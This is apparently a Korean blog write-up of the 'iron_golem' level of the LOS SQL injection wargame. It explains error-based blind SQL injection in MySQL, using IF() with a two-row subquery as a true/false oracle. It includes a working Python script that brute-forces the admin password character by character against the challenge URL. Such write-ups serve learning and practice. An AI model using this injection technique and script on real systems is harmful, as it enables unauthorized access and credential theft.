아이언 고램!
키가 나보다 커보인다;;
이것저것 넣어보니 그동안에 했던 방법으로는 참거짓을 분별할 수 없음을 알았다
어쩌지 어쩌지 고민하던중 잘못된 문법을 넣으면 에러를 확인할 수 있음을 알게되었다.
....
하지만 난생처음보는 환경에 당황한 G0pher...
Error based SQL injection이 떠올라
공부해봤지만 에러를 통해 원하는 데이터를 출력하려 하니 언더바(_)와 점(.)이 필터되어버려서
다른 방법을 생각해야했다
이름하여 Error Based Blind SQL Injection!!!
(사실 내가 지었다)
뭔가 있을것 같아 검색해보니 진짜 있었다
아무튼 IF문을 통해 참과 거짓을 에러로 구분할 수 있도록 하는 방법이다.
그전에 알아둬야할 기본적인 지식은 IF문이다.
Mysql에서 IF문은 3가지 인자를 받는다.
IF(조건, 참일 때, 거짓일 때)
이를 이용해서 참이거나 거짓일 때 에러를 출력하는 구문을 만드는 것이다.
에러를 만들어내는 방법은 '서브쿼리'를 이용하면 된다.
서브쿼리란?
쉽게말해 쿼리 안에 쿼리가 들어가있는 구조이다.
위와같은 에러를 띄울 수 있다.
(select 1 union select 2)
이러한 서브쿼리가 들어갔을 때의 결과이다.
왜일까?
저 구문에서는 1과 2를 합쳐 결과가 2개가 나오는 문법상으로는 오류가 없는 쿼리지만
이것이 where문 안으로 들어가면서 해당되는 결과가 문법상으로 부적합하게 된 것이다.
이를 이용해서 admin의 pw 길이를 알아보았다.
16! 16일때 에러가 뜨지 않았기 때문에 비밀번호의 길이는 16임을 알 수 있다.
이를 이용해서 비밀번호를 알아내는 코드를 짜보자
1 2 3 4 5 6 7 8 9 10 11 12 | import requests head={ 'cookie' : 'PHPSESSID=g28gq; __cfduid=d4374' } for j in range(1,16): for i in range(32,127): URL = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php" params = {'pw':"' or id='admin' and if(ord(substr(pw,"+str(j)+",1))>"+str(i)+",(select 1 union select 2),1)#"} res = requests.get(url=URL, params=params, headers=head) if "Subquery" not in res.text: print(chr(i)) break | cs |
실행결과는 아래와 같다.
뒷부분은 NULL이기때문에 비밀번호는 !!!!가 된다.
'Wargame > LOS(eagle-jump)' 카테고리의 다른 글
[LOS]20번 dragon (0) | 2017.08.09 |
---|---|
[LOS]19번 xavis (0) | 2017.08.07 |
[LOS]18번 nightmare (0) | 2017.08.04 |
[LOS]17번 succubus (0) | 2017.08.04 |
[LOS]16번 zombie_assassin (0) | 2017.08.03 |